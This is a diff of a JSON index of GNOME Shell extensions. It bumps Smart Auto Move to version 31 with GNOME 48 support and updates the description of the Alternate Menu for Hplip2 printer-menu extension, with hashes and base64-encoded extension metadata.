-    "45": {"version": "28", "sha256": "0y8zgfvpiz1shw0dz98id119k8ry0rqa49kn8mj3camd584vxx1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20va2hpbWFyb3Mvc21hcnQtYXV0by1tb3ZlIiwKICAidXVpZCI6ICJzbWFydC1hdXRvLW1vdmVAa2hpbWFyb3MuY29tIiwKICAidmVyc2lvbiI6IDI4Cn0="},
-    "46": {"version": "28", "sha256": "0y8zgfvpiz1shw0dz98id119k8ry0rqa49kn8mj3camd584vxx1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20va2hpbWFyb3Mvc21hcnQtYXV0by1tb3ZlIiwKICAidXVpZCI6ICJzbWFydC1hdXRvLW1vdmVAa2hpbWFyb3MuY29tIiwKICAidmVyc2lvbiI6IDI4Cn0="},
-    "47": {"version": "28", "sha256": "0y8zgfvpiz1shw0dz98id119k8ry0rqa49kn8mj3camd584vxx1s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20va2hpbWFyb3Mvc21hcnQtYXV0by1tb3ZlIiwKICAidXVpZCI6ICJzbWFydC1hdXRvLW1vdmVAa2hpbWFyb3MuY29tIiwKICAidmVyc2lvbiI6IDI4Cn0="}
+    "45": {"version": "31", "sha256": "1dicnrkgmjh9q3ag6l5kdrq1raf78rq5vww0y8sd7phand8rv2vr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2toaW1hcm9zL3NtYXJ0LWF1dG8tbW92ZSIsCiAgInV1aWQiOiAic21hcnQtYXV0by1tb3ZlQGtoaW1hcm9zLmNvbSIsCiAgInZlcnNpb24iOiAzMQp9"},
+    "46": {"version": "31", "sha256": "1dicnrkgmjh9q3ag6l5kdrq1raf78rq5vww0y8sd7phand8rv2vr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2toaW1hcm9zL3NtYXJ0LWF1dG8tbW92ZSIsCiAgInV1aWQiOiAic21hcnQtYXV0by1tb3ZlQGtoaW1hcm9zLmNvbSIsCiAgInZlcnNpb24iOiAzMQp9"},
+    "47": {"version": "31", "sha256": "1dicnrkgmjh9q3ag6l5kdrq1raf78rq5vww0y8sd7phand8rv2vr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2toaW1hcm9zL3NtYXJ0LWF1dG8tbW92ZSIsCiAgInV1aWQiOiAic21hcnQtYXV0by1tb3ZlQGtoaW1hcm9zLmNvbSIsCiAgInZlcnNpb24iOiAzMQp9"},
+    "48": {"version": "31", "sha256": "1dicnrkgmjh9q3ag6l5kdrq1raf78rq5vww0y8sd7phand8rv2vr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNtYXJ0IEF1dG8gTW92ZSBsZWFybnMgdGhlIHBvc2l0aW9uLCBzaXplLCBhbmQgd29ya3NwYWNlIG9mIHlvdXIgYXBwbGljYXRpb24gd2luZG93cyBhbmQgcmVzdG9yZXMgdGhlbSBvbiBzdWJzZXF1ZW50IGxhdW5jaGVzLiBTdXBwb3J0cyBXYXlsYW5kLlxuXG5OT1RFOiBPcHRpbWl6ZWQgZm9yIHVzZSB3aXRoIHN0YXRpYyB3b3Jrc3BhY2VzLiBGb3IgbW9yZSBjb250cm9sLCBzZXQgdGhlIGRlZmF1bHQgYmVoYXZpb3IgdG8gSUdOT1JFIGFuZCB0aGVuIHNlbGVjdGl2ZWx5IFJFU1RPUkUgb25seSBkZXNpcmVkIGFwcHMuXG5cbktOT1dOIElTU1VFUzogTXVsdGktbW9uaXRvciAgaXMgbm90IHlldCB3ZWxsIHN1cHBvcnRlZC4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBTYXZlZCBXaW5kb3dzIGluIHByZWZlcmVuY2VzIGFmdGVyIGFkZGluZyBvciByZW1vdmluZyBhIGRpc3BsYXkuIiwKICAibmFtZSI6ICJTbWFydCBBdXRvIE1vdmUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAia2hpbWFyb3MiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc21hcnQtYXV0by1tb3ZlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2toaW1hcm9zL3NtYXJ0LWF1dG8tbW92ZSIsCiAgInV1aWQiOiAic21hcnQtYXV0by1tb3ZlQGtoaW1hcm9zLmNvbSIsCiAgInZlcnNpb24iOiAzMQp9"}
   }}
-, {"uuid": "hplip-menu2@grizzlysmit.smit.id.au", "name": "Alternate Menu for Hplip2", "pname": "alternate-menu-for-hplip2", "description": "control your hp printers by calling the device manager hp-toolbox, also some useful links\nMotivation: the hp-systray doesn't work reliably under gnome shell\nyou need to have installed hplip in order to use this\nChoice of using a printer icon or a hp_logo.png if it's installed in the same place as mine on Ubuntu\nyou could use symbolic links to fake the path.\nThis is a replacement for the old \"Alternate Menu for Hplip\" which doesn't work under the new Gome-Shell I have cleaned it up a bit and it has a few new menu's but it is still basically the same thing.\n Added even more menus all most all system settings ones.\n\nNew: the menu will be too big if your resolution is way too low like 800x600 I have implemented a compact option in the settings, if you use it the menu will become a two colomn compact format and will fit even on such a low resolution.\n\nDutch language support added by Vistaus (Heimen Stoffels) https://github.com/Vistaus\n\nIn the past you needed to restart gnome-shell after upgrades so either reboot,\nlog out and back in again, or if your using X11 then alt+F2 then run r; But that should be good now in most cases.", "link": "https://extensions.gnome.org/extension/4739/alternate-menu-for-hplip2/", "shell_version_map": {
+, {"uuid": "hplip-menu2@grizzlysmit.smit.id.au", "name": "Alternate Menu for Hplip2", "pname": "alternate-menu-for-hplip2", "description": "control your hp printers by calling the device manager hp-toolbox, also some useful links\nMotivation: the hp-systray doesn't work reliably under gnome shell\nyou need to have installed hplip in order to use this\nChoice of using a printer icon or a hp_logo.png if it's installed in the same place as mine on Ubuntu\nyou could use symbolic links to fake the path.\nThis is a replacement for the old \"Alternate Menu for Hplip\" which doesn't work under the new Gome-Shell I have cleaned it up a bit and it has a few new menu's but it is still basically the same thing.\n Added even more menus all most all system settings ones.\n\nNew: the menu will be too big if your resolution is way too low like 800x600 I have implemented a compact option in the settings, if you use it the menu will become a two colomn compact format and will fit even on such a low resolution.\n\nNew: you can now choose a custom icon in settings\n\nDutch language support added by Vistaus (Heimen Stoffels) https://github.com/Vistaus\n\nIn the past you needed to restart gnome-shell after upgrades so either reboot,\nlog out and back in again, or if your using X11 then alt+F2 then run r; But that should be good now in most cases.", "link": "https://extensions.gnome.org/extension/4739/alternate-menu-for-hplip2/", "shell_version_map": {
     "40": {"version": "11", "sha256": "19h44pn5afqc89vn5xjrhmd375651zhf2w78cs8fgazp7pc0hsr6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5Ob3RlOiB0aGUgbWVudSB3aWxsIGJlIHRvbyBiaWcgaWYgeW91ciByZXNvbHV0aW9uIGlzIHdheSB0b28gbG93IGxpa2UgODAweDYwMCBJIGhhdmUgbm8gc29sbiBmb3IgdGhpcyBqdXN0IG5vdy5cblxuRHV0Y2ggbGFuZ3VhZ2Ugc3VwcG9ydCBhZGRlZCBieSBWaXN0YXVzIChIZWltZW4gU3RvZmZlbHMpIGh0dHBzOi8vZ2l0aHViLmNvbS9WaXN0YXVzXG5cbnlvdSdsbCBuZWVkIHRvIHJlc3RhcnQgZ25vbWUtc2hlbGwgYWZ0ZXIgdXBncmFkZXMgc28gZWl0aGVyIHJlYm9vdCxcbmxvZyBvdXQgYW5kIGJhY2sgaW4gYWdhaW4sIG9yIGlmIHlvdXIgdXNpbmcgWDExIHRoZW4gYWx0K0YyIHRoZW4gcnVuIHIiLAogICJuYW1lIjogIkFsdGVybmF0ZSBNZW51IGZvciBIcGxpcDIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuaHBsaXAtbWVudTIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L2hwbGlwLW1lbnUyLWdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ1dWlkIjogImhwbGlwLW1lbnUyQGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
     "41": {"version": "11", "sha256": "19h44pn5afqc89vn5xjrhmd375651zhf2w78cs8fgazp7pc0hsr6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5Ob3RlOiB0aGUgbWVudSB3aWxsIGJlIHRvbyBiaWcgaWYgeW91ciByZXNvbHV0aW9uIGlzIHdheSB0b28gbG93IGxpa2UgODAweDYwMCBJIGhhdmUgbm8gc29sbiBmb3IgdGhpcyBqdXN0IG5vdy5cblxuRHV0Y2ggbGFuZ3VhZ2Ugc3VwcG9ydCBhZGRlZCBieSBWaXN0YXVzIChIZWltZW4gU3RvZmZlbHMpIGh0dHBzOi8vZ2l0aHViLmNvbS9WaXN0YXVzXG5cbnlvdSdsbCBuZWVkIHRvIHJlc3RhcnQgZ25vbWUtc2hlbGwgYWZ0ZXIgdXBncmFkZXMgc28gZWl0aGVyIHJlYm9vdCxcbmxvZyBvdXQgYW5kIGJhY2sgaW4gYWdhaW4sIG9yIGlmIHlvdXIgdXNpbmcgWDExIHRoZW4gYWx0K0YyIHRoZW4gcnVuIHIiLAogICJuYW1lIjogIkFsdGVybmF0ZSBNZW51IGZvciBIcGxpcDIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuaHBsaXAtbWVudTIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L2hwbGlwLW1lbnUyLWdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ1dWlkIjogImhwbGlwLW1lbnUyQGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
     "42": {"version": "11", "sha256": "19h44pn5afqc89vn5xjrhmd375651zhf2w78cs8fgazp7pc0hsr6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWRpdHMiOiAiKEMpIEZyYW5jaXMgR3JpenpseSBTbWl0XG5cbkR1dGNoIHRyYW5zbGF0aW9uIFZpc3RhdXMgKEhlaW1lbiBTdG9mZmVscykgaHR0cHM6Ly9naXRodWIuY29tL1Zpc3RhdXNcblxuTGljZW5jZSBHUEwgdjIrXG5cbiIsCiAgImRlc2NyaXB0aW9uIjogImNvbnRyb2wgeW91ciBocCBwcmludGVycyBieSBjYWxsaW5nIHRoZSBkZXZpY2UgbWFuYWdlciBocC10b29sYm94LCBhbHNvIHNvbWUgdXNlZnVsIGxpbmtzXG5Nb3RpdmF0aW9uOiB0aGUgaHAtc3lzdHJheSBkb2Vzbid0IHdvcmsgcmVsaWFibHkgdW5kZXIgZ25vbWUgc2hlbGxcbnlvdSBuZWVkIHRvIGhhdmUgaW5zdGFsbGVkIGhwbGlwIGluIG9yZGVyIHRvIHVzZSB0aGlzXG5DaG9pY2Ugb2YgdXNpbmcgYSBwcmludGVyIGljb24gb3IgYSBocF9sb2dvLnBuZyBpZiBpdCdzIGluc3RhbGxlZCBpbiB0aGUgc2FtZSBwbGFjZSBhcyBtaW5lIG9uIFVidW50dVxueW91IGNvdWxkIHVzZSBzeW1ib2xpYyBsaW5rcyB0byBmYWtlIHRoZSBwYXRoLlxuVGhpcyBpcyBhIHJlcGxhY2VtZW50IGZvciB0aGUgb2xkIFwiQWx0ZXJuYXRlIE1lbnUgZm9yIEhwbGlwXCIgd2hpY2ggZG9lc24ndCB3b3JrIHVuZGVyIHRoZSBuZXcgR29tZS1TaGVsbCBJIGhhdmUgY2xlYW5lZCBpdCB1cCBhIGJpdCBhbmQgaXQgaGFzIGEgZmV3IG5ldyBtZW51J3MgYnV0IGl0IGlzIHN0aWxsIGJhc2ljYWxseSB0aGUgc2FtZSB0aGluZy5cbiBBZGRlZCBldmVuIG1vcmUgbWVudXMgYWxsIG1vc3QgYWxsIHN5c3RlbSBzZXR0aW5ncyBvbmVzLlxuXG5Ob3RlOiB0aGUgbWVudSB3aWxsIGJlIHRvbyBiaWcgaWYgeW91ciByZXNvbHV0aW9uIGlzIHdheSB0b28gbG93IGxpa2UgODAweDYwMCBJIGhhdmUgbm8gc29sbiBmb3IgdGhpcyBqdXN0IG5vdy5cblxuRHV0Y2ggbGFuZ3VhZ2Ugc3VwcG9ydCBhZGRlZCBieSBWaXN0YXVzIChIZWltZW4gU3RvZmZlbHMpIGh0dHBzOi8vZ2l0aHViLmNvbS9WaXN0YXVzXG5cbnlvdSdsbCBuZWVkIHRvIHJlc3RhcnQgZ25vbWUtc2hlbGwgYWZ0ZXIgdXBncmFkZXMgc28gZWl0aGVyIHJlYm9vdCxcbmxvZyBvdXQgYW5kIGJhY2sgaW4gYWdhaW4sIG9yIGlmIHlvdXIgdXNpbmcgWDExIHRoZW4gYWx0K0YyIHRoZW4gcnVuIHIiLAogICJuYW1lIjogIkFsdGVybmF0ZSBNZW51IGZvciBIcGxpcDIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuaHBsaXAtbWVudTIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L2hwbGlwLW1lbnUyLWdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ1dWlkIjogImhwbGlwLW1lbnUyQGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
@@ -4980,7 +4991,7 @@
